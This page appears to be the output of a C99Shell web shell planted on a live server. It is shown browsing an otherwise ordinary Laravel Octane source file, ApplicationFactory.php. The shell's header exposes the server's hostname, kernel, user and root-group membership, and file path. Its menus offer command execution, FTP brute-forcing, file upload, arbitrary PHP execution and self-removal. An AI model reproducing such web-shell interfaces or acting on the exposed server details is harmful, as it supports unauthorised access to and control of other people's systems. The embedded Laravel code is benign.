!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/laravel/octane/src/   drwxr-xr-x
Free 28.81 GB of 117.98 GB (24.42%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ApplicationFactory.php (2.67 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Octane;

use 
Illuminate\Contracts\Http\Kernel as HttpKernelContract;
use 
Illuminate\Foundation\Application;
use 
Illuminate\Foundation\Bootstrap\RegisterProviders;
use 
Illuminate\Foundation\Bootstrap\SetRequestForConsole;
use 
ReflectionObject;
use 
RuntimeException;

class 
ApplicationFactory
{
    public function 
__construct(protected string $basePath)
    {
    }

    
/**
     * Create a new application instance.
     */
    
public function createApplication(array $initialInstances = []): Application
    
{
        
$paths = [
            
$this->basePath.'/.laravel/app.php',
            
$this->basePath.'/bootstrap/app.php',
        ];

        foreach (
$paths as $path) {
            if (
file_exists($path)) {
                return 
$this->warm($this->bootstrap(require $path$initialInstances));
            }
        }

        throw new 
RuntimeException("Application bootstrap file not found in 'bootstrap' or '.laravel' directory.");
    }

    
/**
     * Bootstrap the given application.
     */
    
public function bootstrap(Application $app, array $initialInstances = []): Application
    
{
        foreach (
$initialInstances as $key => $value) {
            
$app->instance($key$value);
        }

        
$app->bootstrapWith($this->getBootstrappers($app));

        
$app->loadDeferredProviders();

        return 
$app;
    }

    
/**
     * Get the application's HTTP kernel bootstrappers.
     */
    
protected function getBootstrappers(Application $app): array
    {
        
$method = (new ReflectionObject(
            
$kernel $app->make(HttpKernelContract::class)
        ))->
getMethod('bootstrappers');

        
$method->setAccessible(true);

        return 
$this->injectBootstrapperBefore(
            
RegisterProviders::class,
            
SetRequestForConsole::class,
            
$method->invoke($kernel)
        );
    }

    
/**
     * Inject a given bootstrapper before another bootstrapper.
     */
    
protected function injectBootstrapperBefore(string $beforestring $inject, array $bootstrappers): array
    {
        
$injectIndex array_search($before$bootstrapperstrue);

        if (
$injectIndex !== false) {
            
array_splice($bootstrappers$injectIndex0, [$inject]);
        }

        return 
$bootstrappers;
    }

    
/**
     * Warm the application with pre-resolved, cached services that persist across requests.
     */
    
public function warm(Application $app, array $services = []): Application
    
{
        foreach (
$services ?: $app->make('config')->get('octane.warm', []) as $service) {
            if (
is_string($service) && $app->bound($service)) {
                
$app->make($service);
            }
        }

        return 
$app;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--